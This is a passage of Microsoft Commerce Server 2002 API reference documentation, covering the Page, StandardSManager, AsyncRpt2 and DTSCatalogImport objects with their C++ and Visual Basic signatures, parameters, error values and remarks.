ACTION="http://example.microsoft.com/xt_orderform_purchase.asp">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_total_total=13895">
<INPUT TYPE=HIDDEN NAME="_VERIFY_WITH" VALUE="_tax_total=875">

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::ProcessVerifyWith

[C++] OrderForm Object

[Visual Basic] Page Object

[Visual Basic] Page.ProcessVerifyWith

[Visual Basic] OrderForm Object


IMSCSPage_3_0::VirtualDirectory Method [C++]

Page.VirtualDirectory Method [Visual Basic]

Use this method to return the name of the virtual directory for the site.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition. See the AppFrameWork object, which provides similar functionality to that found in this method. Using the AppFrameWork methods is the preferred way of adding this type of functionality to your site, and will ensure better compatibility with future versions of Microsoft Commerce Server.

Definition

[C++]
HRESULT IMSCSPage_3_0::VirtualDirectory(
  BSTR* pbstrRet
);
[Visual Basic]
Function VirtualDirectory() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the site virtual directory.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String that contains the site virtual directory.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The pbstrRet parameter points to valid data only if the method completed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[C++] IMSCSPage_3_0::SiteRoot

[C++] IMSCSPage_3_0::SURL

[C++] IMSCSPage_3_0::URL

[C++] IMSCSPage_3_0::SURLPrefix

[C++] IMSCSPage_3_0::URLArgs

[C++] IMSCSPage_3_0::URLPrefix

[C++] IMSCSPage_3_0::URLShopperArgs

[C++] StandardSManager Object

[Visual Basic] Page Object

[Visual Basic] Page.SiteRoot

[Visual Basic] Page.SURL

[Visual Basic] Page.URL

[Visual Basic] Page.SURLPrefix

[Visual Basic] Page.URLArgs

[Visual Basic] Page.URLPrefix

[Visual Basic] Page.URLShopperArgs

[Visual Basic] StandardSManager Object


IMSCSPage_3_0 Methods [C++]

Page Methods [Visual Basic]

Properties

[C++]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.
[Visual Basic]
Property | Type | Description
Context | IDispatch | A value that contains the Microsoft Internet Information Services (IIS) scripting context. This property is read-only.


IMSCSPage_3_0::get_Context Property [C++]

Page.Context Property [Visual Basic]

The Context property is a read-only property that contains the ASP scripting context.

Normally, the contents of the Context property do not need to be retrieved. The Context property is used only as a parameter to other Commerce Server methods that need access to the ASP scripting context.

Important

  • This method is included for backwards compatibility with Site Server 3.0 Commerce Edition.

Definition

[C++]
HRESULT IMSCSPage_3_0::get_Context(
  IDispatch** Context
);
[Visual Basic]
Property Context As Object

Parameters

Context [C++]
[out, retval] An IDispatch interface used to return the ASP scripting context.

[Visual Basic] None.

[C++]

Return Values

This property returns an HRESULT indicating whether completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[C++]

Remarks

The Context parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] Page Object

[Visual Basic] Page Object


StandardSManager Object [C++]

StandardSManager Object [Visual Basic]

Use this object to facilitate the run time creation and retrieval of shopper IDs.

ProgID: | Commerce.StandardSManager (Externally creatable)
COM Class Name: | MSCSStandardSManager_3_0
Type Library Name: | Commerce 1.0 Type Library
DLL Name: | Commerce.dll
Threading Model: | Both
[C++]
COM Interface Name: | IMSCSStandardSManager_3_0
Interface ID Constant: | IID_IMSCSStandardSManager_3_0
Header File: | mspu_guids.h
[C++]

In C++, use the IMSCSStandardSManager_3_0 interface to access the properties and methods of the StandardSManager object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager object for the site.
[Visual Basic]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager for the site.

Properties

[C++]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.
[Visual Basic]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.

Remarks

This object is only included for purposes of backward compatibility with Site Server 3.0 Commerce Edition; it has been replaced by the AuthManager object.

See Also

Backward Compatibility Objects

[C++] AuthManager Object

[Visual Basic] AuthManager Object


IMSCSStandardSManager_3_0 Methods [C++]

StandardSManager Methods [Visual Basic]

Methods

[C++]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager object for the site.
[Visual Basic]
Method | Description
CreateShopperId | Creates a unique shopper ID for the current user.
GetShopperId | Returns the unique shopper ID for the current user.
InitManager | Initializes the StandardSManager object.
PutShopperId | Writes the specified shopper ID to a cookie and/or stores it for use in a URL or SURL, depending on the initialization mode of the StandardSManager for the site.


IMSCSStandardSManager_3_0::CreateShopperId Method [C++]

StandardSManager.CreateShopperId Method [Visual Basic]

Use this method to create a unique shopper ID for the current user.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::CreateShopperId(
 BSTR* pbstrRet
);
[Visual Basic]
Function CreateShopperId() As String

Parameters

pbstrRet [C++]
[out, retval] A pointer to a BSTR used to return the new shopper ID.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a String containing the new shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pbstrRet parameter points to valid data only if the method completes successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::InitManager

[C++] IMSCSStandardSManager_3_0::GetShopperId

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.InitManager

[Visual Basic] StandardSManager.GetShopperId

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::GetShopperId Method [C++]

StandardSManager.GetShopperId Method [Visual Basic]

Use this method to retrieve the shopper ID for the current user. The shopper ID is returned from a URL query string or a cookie, depending on the initialization mode of the StandardSManager object for the site.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::GetShopperId(
 IDispatch* pdispContext,
 VARIANT* pvtRet
);
[Visual Basic]
Function GetShopperId(
 pdispContext As Object
) As Variant

Parameters

pdispContext [C++]
[in] A pointer to the IDispatch interface that contains the ASP scripting context.
pdispContext [Visual Basic]
An object reference that holds the ASP scripting context.
pvtRet [C++]
[out, retval] A pointer to a VARIANT used to return the shopper ID.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Variant that specifies the shopper ID.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pvtRet parameter points to valid data only if the method completes successfully.

If no shopper ID is found, the GetShopperID method returns an empty string.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::InitManager Method [C++]

StandardSManager.InitManager Method [Visual Basic]

Use this method to initialize the StandardSManager object to the specified site name and mode.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::InitManager(
 BSTR bstrStoreKey,
 BSTR bstrMode
);
[Visual Basic]
Sub InitManager(
 bstrStoreKey As String,
 bstrMode As String
)

Parameters

bstrStoreKey [C++]
[in] A BSTR that contains the name of the site.
bstrStoreKey [Visual Basic]
A String that contains the name of the site.
bstrMode [C++]
[in] A BSTR that indicates how user information is to be stored. For more information about initialization modes, see the Remarks section.
bstrMode [Visual Basic]
A String that indicates how user information is to be stored. For more information about initialization modes, see the Remarks section.

Return Values

[C++]This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The bstrMode parameter can take the following values:

Mode | Behavior
Cookie | The PutShopperID method stores the shopper ID in a cookie on the client system. The GetShopperID method retrieves this cookie.
url | The PutShopperID method appends the shopper ID to the URL, using MCSSIDUrlKey as the name part of the URL variable. The GetShopperID method retrieves the shopper ID from the URL.
Cookieurl | The PutShopperID method stores the shopper ID in a cookie on the client system and in the URL. The GetShopperID method first attempts to retrieve the shopper ID from the cookie, and then from the URL.
Urlcookie | The PutShopperID method stores the shopper ID in a URL, and stores it as a cookie on the client system. The GetShopperID method first attempts to retrieve the shopper ID from the URL, then from the cookie.

This object is only included for purposes of backward compatibility with Site Server 3.0 Commerce Edition.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

' oStdSManager is a Commerce.StandardSManager object
oStdSManager.InitManager("mySiteName", "Cookie")

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::PutShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.PutShopperId


IMSCSStandardSManager_3_0::PutShopperId Method [C++]

StandardSManager.PutShopperId Method [Visual Basic]

Use this method to store a shopper ID for the current user. After the object has been initialized, the shopper ID will be stored in a cookie or as part of the URL.

Definition

[C++]
HRESULT IMSCSStandardSManager_3_0::PutShopperId(
 IDispatch* pdispContext,
 BSTR bstrShopperID
);
[Visual Basic]
Sub PutShopperId(
 pdispContext As Object,
 bstrShopperID As String
)

Parameters

pdispContext [C++]
[in] A pointer to the IDispatch interface used to retrieve the ASP scripting context.
pdispContext [Visual Basic]
An object reference that holds the ASP scripting context.
bstrShopperID [C++]
[in] A BSTR that contains the shopper ID to be stored.
bstrShopperID [Visual Basic]
A String that contains the shopper ID to be stored.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] IMSCSStandardSManager_3_0::get_Mode, put_Mode

[C++] IMSCSStandardSManager_3_0::GetShopperId

[Visual Basic] StandardSManager Object

[Visual Basic] StandardSManager.Mode

[Visual Basic] StandardSManager.GetShopperId


IMSCSStandardSManager_3_0 Properties [C++]

StandardSManager Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.
[Visual Basic]
Property | Type | Description
Mode | Integer | Determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.


IMSCSStandardSManager_3_0::get_Mode, put_Mode Property [C++]

StandardSManager.Mode Property [Visual Basic]

The Mode property is a read/write Integer that determines how the GetShopperID and PutShopperID methods of the Page object retrieve and store shopper IDs.

Definition

[C++]

Get method:

HRESULT IMSCSStandardSManager_3_0::get_Mode(
 int* Mode
);

Put method:

HRESULT IMSCSStandardSManager_3_0::put_Mode(
 int Mode
);
[Visual Basic]
Property Mode As Integer

Parameters

Mode [C++]
[in] When putting the property, an Integer that contains the mode.
[out, retval] When getting the property, an Integer used to return the mode.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

After creating a StandardSManager object, but before calling the GetShopperID or PutShopperID methods, you must initialize the StandardSManager object. To do this, call the InitManager method of the StandardSManager object, specifying the site name and the initialization mode.

The following table shows the values that the mode property integer can take.

Mode | Behavior
0 | Look only at cookie
1 | Look only at URL
2 | Look at cookie and then URL
3 | Look at URL and then cookie

[C++] The Mode parameter contains valid data only if the property is accessed successfully.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

See Also

[C++] StandardSManager Object

[C++] Page Object

[C++] IMSCSStandardSManager_3_0::InitManager

[Visual Basic] StandardSManager Object

[Visual Basic] Page Object

[Visual Basic] StandardSManager.InitManager


Business Analysis Objects

The Business Analysis Objects are used to build prediction models and create reports based on site data.

Objects

Visual Basic Reference | C++ Invocation | Description
AsyncRpt2 | AsyncRpt2 | Provides asynchronous rendering and exporting of static reports.
DTSCatalogImport | DTSCatalogImport | Imports catalog data into the Data Warehouse.
DTSDeleteImport | DTSDeleteImport | Deletes log file data and summarized data from the Data Warehouse.
DTSIPResolution | DTSIPResolution | Resolves Internet Protocol (IP) addresses from the imported user data.
DTSLogImport | DTSLogImport | Defines and imports Web log files into the Data Warehouse.
DTSPostImport | DTSPostImport | Populates OLAP cubes with the data that was imported, prepares the imported data for report generation, and refreshes the OLAP cubes after a deletion.
DTSSyncAdminData | DTSSyncAdminData | Synchronizes the Data Warehouse with your Commerce Server application after you make changes to configuration settings.
DTSTransactionImport | DTSTransactionImport | Runs reports to analyze transaction data.
ReportRenderer2 | ReportRenderer2 | Provides synchronous rendering and exporting of static reports.


AsyncRpt2 Object [C++]

AsyncRpt2 Object [Visual Basic]

Use this object to render (display) or export a static report asynchronously.

ProgID: | Commerce.AsyncRptMgr2 (Externally creatable)
COM Class Name: | AsyncRpt2
Type Library Name: | Microsoft Commerce 2002 Async Report Manager Type Library
DLL Name: | AsyncReport2.dll
Threading Model: | Both
[C++]
COM Interface Name: | IAsyncRpt
Interface ID Constant: | IID_IAsyncRpt
Header File: | AsyncReport.h
[C++]

In C++, use the IAsyncRpt2 interface to access the methods of the AsyncRpt2 object.

Because this object is primarily intended for use within ASP script, access from C++ will not be common.

Methods

[C++]
Method | Description
RunReport | Runs or exports the report.
[Visual Basic]
Method | Description
RunReport | Runs or exports the report.

Properties

[C++]
Property | Type | Description
BizdeskDocPath | BSTR | Contains the URL for the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.
[Visual Basic]
Property | Type | Description
BizdeskDocPath | BSTR | Contains the URL for the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.

Remarks

The AsyncRpt2 object renders or exports reports asynchronously.

The ReportRender2 object renders or exports reports synchronously.

[C++] The AsyncRpt2 object calls the ReportRender2 object passing it a string containing the rendering parameters. For more information about the rendering process, see ReportRender2 Object.

[Visual Basic] The AsyncRpt2 object calls the ReportRender2 object passing it a string containing the rendering parameters. For more information about the rendering process, see ReportRender2 Object.

See Also

Analysis/Reporting Schema

Analysis/Reporting XML Structures

[C++] ListManager Object

[C++] ReportRenderer Object

[Visual Basic] ListManager Object

[Visual Basic] ReportRenderer2 Object

Running Reports


IAsyncRpt2 Methods [C++]

AsyncRpt2 Methods [Visual Basic]

Methods

[C++]
Method | Description
RunReport | Runs or exports the report.
[Visual Basic]
Method | Description
RunReport | Runs or exports the report.


IAsyncRpt2::RunReport Method[C++]

AsyncRpt2.RunReport Method [Visual Basic]

Use this method to initialize the AsyncRpt2 object and to render or export a static report asynchronously.

Definition

[C++]
HRESULT IAsyncRpt::RunReport(
  BSTR bstrRepParam
);
[Visual Basic]
Sub RunReport(
  bstrRepParam As String
)

Parameters

bstrRepParam [C++]
[in, out] A BSTR used to supply parameters to the AsyncRpt2 object.
bstrRepParam [Visual Basic]
A String used to supply parameters to the AsyncRpt2 object.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and E_FAIL (0x80004005) to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to E_FAIL (&H80004005) to indicate failure. For more information about standard COM errors, see Standard COM Errors.

Remarks

The AsyncRpt2 object calls the ReportRender2 object, passing it the bstrRepParam parameter.

[C++] The bstrRepParam parameter is identical to the sParamString parameter of the Init method of the ReportRender2 object. For more information, see ReportRender Object.

[Visual Basic] The bstrRepParam parameter is identical to the sParamString parameter of the Init method of the ReportRender2 object. For more information, see ReportRender Object.

See Also

[C++] AsyncRpt2 Object

[Visual Basic] AsyncRpt2 Object


IAsyncRpt2 Properties

AsyncRpt2 Properties

Properties

[C++]
Property | Type | Description
BizdeskDocPath | BSTR | Stores the URL to the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | long | Stores the locale in which the report should appear. This property is write-only.
[Visual Basic]
Property | Type | Description
BizDeskDocPath | String | Stores the URL to the default ASP page in the directory containing the report help files. This property is write-only.
ReportLocale | Long | Stores the locale in which the report should appear. This property is write-only.


IAsyncRpt2::get_BizDeskDocPath, put_BizDeskDocPath Property[C++]

AsyncRpt2.BizDeskDocPath Property[Visual Basic]

The BizDeskDocPath property is a write-only string containing the URL to the default ASP page in the directory containing the report help files.

Definition

[C++]

Put method:

HRESULT IAsyncRpt::put_BizDeskDocPath(
 BSTR rhs
);
[Visual Basic]
Property BizDeskDocPath As String

Parameters

rhs [C++]
[in, optional] String containing the URL to the new default ASP page.
[out, retval] String returning the URL to the current default ASP page.
None.[Visual Basic]

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.


IAsyncRpt2::get_ReportLocale, put_ReportLocale Property [C++]

AsyncRpt2.ReportLocale Property [Visual Basic]

The ReportLocale property is a write-only long that identifies the locale of the report.

Definition

[C++]

Get method:

HRESULT IAsyncRpt::get_ReportLocale(
 long ReportLocale
);

Put method:

HRESULT IAsyncRpt::put_ReportLocale(
 long ReportLocale
);
[Visual Basic]
Property ReportLocale As Long

Parameters

Description [C++]
[in] Long integer containing the locale code to which you wish to set the report locale.

[out, retval] Long integer containing the current locale code of the report.

None. [Visual Basic]

Return Values

[C++]

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Example

objReport.ReportLocale = Application("MSCSDefaultLocale")


DTSCatalogImport Object [C++]

DTSCatalogImport Object [Visual Basic]

Use this object to import catalog data. Run this object from within the context of a Data Transformation Services (DTS) package. Do not access the methods and properties directly. For more information about scripting the Product catalog import DTS task, see Scripting the Product Catalog Import DTS Task.

ProgID: | Commerce.DTSCatalogImport (Externally creatable)
COM Class Name: | DTSCatalogImport
Type Library Name: | Microsoft Commerce 2002 Catalog Data Import DTS Task Type Library
DLL Name: | CSDWDTSCatalogImp.dll
Threading Model: | Apartment
[C++]
COM Interface Name: | _DTSCatalogImport
Interface ID Constant: | None
Header File: | None

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Properties

[C++]
Property | Type | Description
Description | BSTR | Stores a description of the DTS task. This property is read/write.
NumRetries | long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | BSTR | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.
[Visual Basic]
Property | Type | Description
Description | String | Stores a description of the DTS task. This property is read/write.
NumRetries | Long | Stores the number of retry attempts that will be made after a SQL connection/query failure. This property is read/write.
ProcessingType | Long | An enumeration that specifies the type of processing, either full or incremental. This property is read/write.
RetryInterval | Long | Stores the number of seconds between retry attempts. This property is read/write.
SourceName | String | Specifies the Web site or Data Warehouse for which this task is processing data. This property is write only.
SourceType | Long | An enumeration that specifies the level on which the DTS task will operate. This property is read/write.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSDeleteImport Object

[C++] DTSIPResolution Object

[C++] DTSLogImport Object

[C++]

[C++] DTSPostImport Object

[C++]

[C++] DTSSynchAdminData Object

[C++] DTSTransactionImport Object

[C++]

[Visual Basic] DTSDeleteImport Object

[Visual Basic] DTSIPResolution Object

[Visual Basic] DTSLogImport Object

[Visual Basic]

[Visual Basic] DTSPostImport Object

[Visual Basic]

[Visual Basic] DTSSynchAdminData Object

[Visual Basic] DTSTransactionImport Object

[Visual Basic]


_DTSCatalogImport Methods [C++]

DTSCatalogImport Methods [Visual Basic]

Methods

[C++]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
[Visual Basic]
Method | Description
CustomTask_Execute | Executes the DTS task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Load | Loads the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.
PersistPropertyBag_Save | Saves the DTS task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.


_DTSCatalogImport::CustomTask_Execute Method [C++]

DTSCatalogImport.CustomTask_Execute Method [Visual Basic]

Use this method to execute the Data Transformation Services (DTS) task. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::CustomTask_Execute(
 IDispatch* pPackage,
 IDispatch* pPackageEvents,
 IDispatch* pPackageLog
);
[Visual Basic]
Sub CustomTask_Execute(
 pPackage As Object,
 pPackageEvents As Object,
 pPackageLog As Object
)

Parameters

pPackage [C++]
[in] A reference to the Package object that runs the DTS task.
pPackage [Visual Basic]
The Package object that runs the DTS task.
pPackageEvents [C++]
[in] A reference to the events of the Package object.
pPackageEvents [Visual Basic]
The events of the Package object.
pPackageLog [C++]
[in] A reference to a PackageLog object that writes task log records in the database or writes log messages to the log file.
pPackageLog [Visual Basic]
The PackageLog object that writes task log records in the database or writes log messages to the log file.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Load

[C++] DTSCatalogImport::PersistPropertyBag_Save

[C++] DTSCatalogImport::get_ProcessingType, put_ProcessingType

[C++] DTSCatalogImport::get_RetryInterval, put_RetryInterval

[C++] DTSCatalogImport::put_SourceName

[C++] DTSCatalogImport::get_SourceType, put_SourceType

[Visual Basic] DTSCatalogImport.Description

[Visual Basic] DTSCatalogImport.NumRetries

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Load

[Visual Basic] DTSCatalogImport.PersistPropertyBag_Save

[Visual Basic] DTSCatalogImport.ProcessingType

[Visual Basic] DTSCatalogImport.RetryInterval

[Visual Basic] DTSCatalogImport.SourceName

[Visual Basic] DTSCatalogImport.SourceType


_DTSCatalogImport::PersistPropertyBag_Load Method [C++]

DTSCatalogImport.PersistPropertyBag_Load Method [Visual Basic]

Use this method to load the Data Transformation Services (DTS) task properties. This method is called indirectly when a task is run through a DTS package and should not be used when scripting this task.

Definition

[C++]
HRESULT _DTSCatalogImport::PersistPropertyBag_Load(
 );
[Visual Basic]
Sub PersistPropertyBag_Load(
 )

Parameters

None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

Scripting the Product Catalog Import DTS Task

[C++] DTSCatalogImport::CustomTask_Execute

[C++] DTSCatalogImport::get_Description, put_Description

[C++] DTSCatalogImport::get_NumRetries, put_NumRetries

[C++] DTSCatalogImport::PersistPropertyBag_Save

